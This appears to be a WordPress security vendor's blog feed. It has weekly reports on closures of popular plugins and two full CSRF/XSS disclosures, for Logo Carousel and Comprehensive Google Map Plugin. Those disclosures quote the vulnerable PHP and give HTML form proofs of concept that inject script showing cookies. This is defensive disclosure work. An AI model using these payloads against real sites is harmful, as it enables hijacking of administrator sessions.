15 Feb

Closures of Very Popular WordPress Plugins, Week of February 15

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week one of those plugins was closed and has not been reopened.

PHP Settings

PHP Settings, which has 40,000+ installs, was closed today. No reason has been given for the closure. In looking over the plugin we didn’t find any obvious security issues.

08 Feb

Closures of Very Popular WordPress Plugins, Week of February 8

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week one of those plugins was closed and has not been reopened.

Logo Carousel

Logo Carousel, which has 40,000+ installs, was closed on Wednesday. No reason has been given for the closure. In looking over the plugin we found that it contains a cross-site request forgery (CSRF)/ cross-site scripting (XSS) vulnerability.

07 Feb

Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, Logo Carousel, which has 40,000+ active installations according to wordpress.org, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that being a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the settings for one of the plugin’s carousels.

That is the same type of issue we found when another one of the 1,000 most popular plugins was closed three weeks ago, so if these vulnerabilities were not responsible for the disclosures, it would appear that there may be larger problem with this type of issue that is going under noticed even in the most popular plugins. That type of issue is something we have longed check for during security reviews of plugins, which we both do as part of our main service and as a separate service, so if you are interested in making sure plugins you use are secured against that and other security issues we offer a solution.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers an admin page named Manage Carousels to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function admin_pages_manage_carousels() to run:

236
237
238
239
240
241
242
243
244
245
function admin_pages() {
	add_submenu_page(
		'edit.php?post_type=kwlogos',
		__('Manage Carousels', 'kiwi-logo-carousel'),
		__('Manage Carousels', 'kiwi-logo-carousel'),
		'manage_options',
		'kwlogos_settings',
		array( $this, 'admin_pages_manage_carousels' )
	);
}

When that function, which is located in the file /kiwi_logo_carousel_admin.php, runs, if the POST input “submit” is set then a carousel’s settings will be changed to the values sent with the request without sanitizing them:

261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
if (isset($_POST['submit'])) {
	$default = $this->default_values;
	$parameters = array();
	$parameters['mode'] = $this->rdie($_POST['klc_mode'], $default['mode']);
	$parameters['speed'] = $this->rdie($_POST['klc_speed'], $default['speed']);
	$parameters['slideMargin'] = $this->rdie($_POST['klc_slidemargin'], $default['slideMargin']);
	$parameters['infiniteLoop'] = $this->rdie($_POST['klc_infiniteloop'], $default['infiniteLoop']);
	$parameters['hideControlOnEnd'] = $this->rdie($_POST['klc_hidecontrolonend'], $default['hideControlOnEnd']);
	$parameters['captions'] = $this->rdie($_POST['klc_captions'], $default['captions']);
	$parameters['ticker'] = $this->rdie($_POST['klc_ticker'], $default['ticker']);
	$parameters['tickerHover'] = $this->rdie($_POST['klc_tickerhover'], $default['tickerHover']);
	$parameters['adaptiveHeight'] = $this->rdie($_POST['klc_adaptiveheight'], $default['adaptiveHeight']);
	$parameters['responsive'] = $this->rdie($_POST['klc_responsive'], $default['responsive']);
	$parameters['pager'] = $this->rdie($_POST['klc_pager'], $default['pager']);
	$parameters['controls'] = $this->rdie($_POST['klc_controls'], $default['controls']);
	$parameters['minSlides'] = $this->rdie($_POST['klc_minslides'], $default['minSlides']);
	$parameters['maxSlides'] = $this->rdie($_POST['klc_maxslides'], $default['maxSlides']);
	$parameters['moveSlides'] = $this->rdie($_POST['klc_moveslides'], $default['moveSlides']);
	$parameters['slideWidth'] = $this->rdie($_POST['klc_slidewidth'], $default['slideWidth']);
	$parameters['auto'] = $this->rdie($_POST['klc_auto'], $default['auto']);
	$parameters['pause'] = $this->rdie($_POST['klc_pause'], $default['pause']);
	$parameters['klco_style'] = $this->rdie($_POST['klco_style'], $default['klco_style']);
	$parameters['klco_orderby'] = $this->rdie($_POST['klco_orderby'], $default['klco_orderby']);
	$parameters['klco_clickablelogos'] = $this->rdie($_POST['klco_clickablelogos'], $default['klco_clickablelogos']);
	$parameters['klco_alignment'] = $this->rdie($_POST['klco_alignment'], $default['klco_alignment']);
	$parameters['klco_height'] = $this->rdie($_POST['klco_height'], $default['klco_height']);
	$parameters = serialize($parameters);
	update_option( 'kiwiLGCRSL_'.$carousel, $parameters );

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the carousel’s settings.

The values are then output on the same page (they also could be output on frontend pages) without being escaped on lines like this one:

312
<td><input name="klc_speed" type="number" value="<?php if (isset($p['speed'])) {echo $p['speed'];} ?>"/></td>

That permits malicious JavaScript code set to one of the settings to be output, which is cross-site scripting (XSS).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box on the page /wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings" method="POST">
<input type="hidden" name="klc_speed" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
01 Feb

Closures of Very Popular WordPress Plugins, Week of February 1

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week six of these plugins were closed and two of them has been reopened.

Export Users to CSV

Export Users to CSV, which has 30,000+ active installations, was closed on Monday. No reason has been given for the closure. There is a publicly disclosed vulnerability in the latest version, thought that was disclosed back in August (we warned our customers of that at the time), so either the WordPress team is way behind, which is entirely possible considering that we were the only ones that were actually making sure that known vulnerable plugins didn’t remain in the Plugin Directory until we suspended doing that, or there is some other reason for the removal. In looking over the plugin we didn’t find any obvious additional security issues.

Slider by 10Web

Slider by 10Web, which has 70,000+ active installations, was closed on Wednesday. That was due to a vulnerability we disclosed the day before. The plugin was reopened on Friday.

WP Instagram Widget

WP Instagram Widget, which has 200,000+ active installations, was closed on Wednesday.  The developer has responded to questions about the closure with this:

It was removed without my consent unfortunately and it will not be re-instated to the .org repository due to the approach the plugin uses for obtaining data.

In looking over the plugin we didn’t find any obvious security issues.

Sidekick

Sidekick, which has 80,000+ active installations, was closed on Wednesday.  No reason has been given for the closure. In looking over the plugin we didn’t find any obvious security issues.

Meta Box

Meta Box, which has 300,000+ active installations, was closed on Thursday. That was due to a vulnerability we disclosed the same day.  The plugin was reopened on Friday. In doing the standard security checks we do with these closed plugins we found that there is an additional vulnerability in the plugin.

Instagram Slider Widget

Instagram Slider Widget, which has 100,000+ active installations, was closed on Thursday.  The developer has written that they were told that it was removed due to:

Your plugin is scraping Instagram for content.

In looking over the plugin we didn’t find any obvious security issues.

25 Jan

Closures of Very Popular WordPress Plugins, Week of January 25

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week one of these plugins was closed and has been reopened.

WPFront User Role Editor

WPFront User Role Editor, which has 60,000+ installs, was closed on Sunday or Monday. No reason has been given for the closure. In looking over the changes made in the version released after it was closed it looks like a vulnerability outside of the scope of our service was fixed. The plugin was reopened on Monday.

18 Jan

Closures of Very Popular WordPress Plugins, Week of January 18

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week three of these plugins was closed and none of them have been reopened.

Instagram Gallery

Instagram Gallery, which has 40,000+ installs, was closed last Friday. No reason has been given for the closure. In looking over the plugin we didn’t find any obvious security issues.

WP Defender

WP Defender, which has 60,000+ installs, was closed on Monday. No reason has been given for the closure. In looking over the plugin we didn’t find any obvious security issues. There is a recent complaint that the plugin conflicts another plugin not in the Plugin Directory.

WP Construction Mode

WP Construction Mode, which has 30,000+ installs, was closed on Monday. No reason has been given for the closure. In looking over the plugin we found that it contains a cross-site request forgery (CSRF)/ cross-site scripting (XSS) vulnerability.

11 Jan

Closures of Very Popular WordPress Plugins, Week of January 11

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week four of these plugins was closed and two have been reopened.

Ad Inserter

Ad Inserter, which has 200,000+ installations, was closed on Monday. According to the developer it was not closed due a policy guidelines violation.

In looking over the plugin we didn’t find any obvious security issues and the changes made to the plugin between its removal and return don’t look security related.

It was reopened on Tuesday.

KingComposer

KingComposer, which has 80,000+ installations, was closed on Monday. That was due to a vulnerability we disclosed the same day (strangely another plugin with the same number of installs and same vulnerability also disclosed in the same post was not closed and remains vulnerable). The developer didn’t give an accurate answer when asked why it was closed, stating:

currently the plugin kingcomposer is appearing some errors need to be fixed so we have to close the download to perform error correction,

They wouldn’t have been the ones that closed it and fixing the vulnerability wouldn’t have required them to close it, just release a new version that fixes the issue. That seems like a good reason for WordPress to provide people accurate information n why plugins have been removed.

It was reopened on Tuesday.

Storefront Product Pagination

Storefront Product Pagination, which has 40,000+ installs, was closed on Thursday. The developer removed the plugin from the Plugin Directory.

In looking over the plugin we didn’t find any obvious security issues.

Storefront Sticky Add to Cart

Storefront Sticky Add to Cart, which has 50,000+ installs, was closed on Thursday. The developer removed the plugin from the Plugin Directory.

In looking over the plugin we didn’t find any obvious security issues.

02 Jan

Closures of Very Popular WordPress Plugins, Week of December 28

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week one of those plugins was closed and has been reopened.

Easy Updates Manager

Easy Updates Manager, which has 200,000+ installations, was closed on Sunday. According to one of the plugin’s contributors “It was closed by mistake.” No changes have been made to the plugin and yet it has returned, so that would seem to be accurate. This seems like yet another reason for more transparency with the closures of plugins.

21 Dec

Closures of Very Popular WordPress Plugins, Week of December 21

While we already are far ahead of other companies in keeping up with vulnerabilities in WordPress plugins (amazingly that isn’t an exaggeration), in looking in to how we could get even better we noticed that in a recent instance were a vulnerability was exploited in a plugin, we probably could have warned our customers about the vulnerability even sooner if we had looked at the plugin when it was first closed on the Plugin Directory instead of when the vulnerability was fixed (though as far as we are aware the exploitation started after we had warned our customers of the fix). So we are now monitoring to see if any of the 1,000 most popular plugins are closed on the Plugin Directory and then seeing if it looks like that was due to a vulnerability.

This week three of those plugins were closed and two of those have yet to be reopened.

Show Hide Author

Show Hide Author, which has 60,000+ installations, was closed on Sunday. No explanation has been given so far for the closure. In looking over the plugin we didn’t find any obvious security issues.

It has yet to be reopened.

Comprehensive Google Map Plugin

Comprehensive Google Map Plugin, which has 40,000+ installations, was closed on Sunday. No explanation has been given so far for the closure. Support for the plugin has been discontinued, so that may be the cause of the closure. In looking over the plugin we found that the current version contains at least one security vulnerability.

It has yet to be reopened.

Htaccess Editor

Htaccess Editor, which has 30,000+ installations, was closed today. No explanation has been given so far for the closure. In looking over the plugin we didn’t find any obvious security issues. The changelog for the version released since it was closed states “WebFactory took over development” (that company has recently been the developers of a number of plugins that have had security issues disclosed by us) and “complete plugin rewrite”. The latter of those is an accurate description of the changes made to the plugin, so it isn’t clear what might have been at issue that was then changed.

It was reopened later in the day.

17 Dec

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Comprehensive Google Map Plugin

Yesterday one of the 1,000 most popular WordPress plugins in the Plugin Directory, Comprehensive Google Map Plugin, was closed. No reason has been given for that.

The plugin does display this message “Attention: the development and maintenance of the “Comprehensive Google Map Plugin” has been discontinued!”, so that might explain the closure. In taking a look over the plugin though we found a fairly obvious security issue and it looks like there are other vulnerabilities in the latest version.

When building new shortcodes through the plugin there is a lack of protection against cross-site request forgery (CSRF), which can be used to cause a logged in user with the Administrator role to cause cross-site scripting (XSS) to occur on the plugin’s Saved Shortcodes admin page without that user intending it.

Technical Details

When visiting the plugin’s Shortcode Builder page the function cgmp_shortcodebuilder_callback() is run, which is located in the file /admin-menu.php. That will first check if the user has the “activate_plugins” capability, which normally only Administrators have. It will run code to save a newly submitted shortcode to the plugin’s settings:

215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
function cgmp_shortcodebuilder_callback() {
 
	if (!current_user_can('activate_plugins'))  {
			wp_die( __('You do not have sufficient permissions to access this page.') );
	}
 
	if (isset($_POST['hidden-shortcode-code']))  {
 
		$bad_entities = array(""", "'", "'");
		$title = str_replace($bad_entities, "", $_POST['hidden-shortcode-title']);
		$title = preg_replace('/\s+/', ' ', trim($title));
		$code = str_replace($bad_entities, "", $_POST['hidden-shortcode-code']);
 
		$shortcodes = array();
 
		$persisted_shortcodes_json = get_option(CGMP_PERSISTED_SHORTCODES);
		if (isset($persisted_shortcodes_json) && trim($persisted_shortcodes_json) != "") {
			$persisted_shortcodes = json_decode($persisted_shortcodes_json, true);
			if (is_array($persisted_shortcodes)) {
				$persisted_shortcodes[$title] = array("title" => $title, "code" => $code);
				$shortcodes = $persisted_shortcodes;
			}
		} else {
			$shortcodes[$title] = array("title" => $title, "code" => $code);
		}
 
		update_option(CGMP_PERSISTED_SHORTCODES, json_encode($shortcodes));

The only sanitization done with the title of the new shortcode is remove usage of single and double quotes, which doesn’t prevents XSS.

There is no check for a valid nonce, so CSRF is possible.

Then when the title is output on Saved Shortcodes page it output without being escaped as shown in the proof of concept below.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown when visiting /wp-admin/admin.php?page=cgmp-saved-shortcodes, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]”/wp-admin/admin.php?page=cgmp-shortcodebuilder" method="POST">
<input type="hidden" name="hidden-shortcode-title" value='<script>alert(document.cookie);</script>' />
<input type="hidden" name="hidden-shortcode-code" value='test' />
<input type="submit" value="Submit" />
</form>
</body>
</html>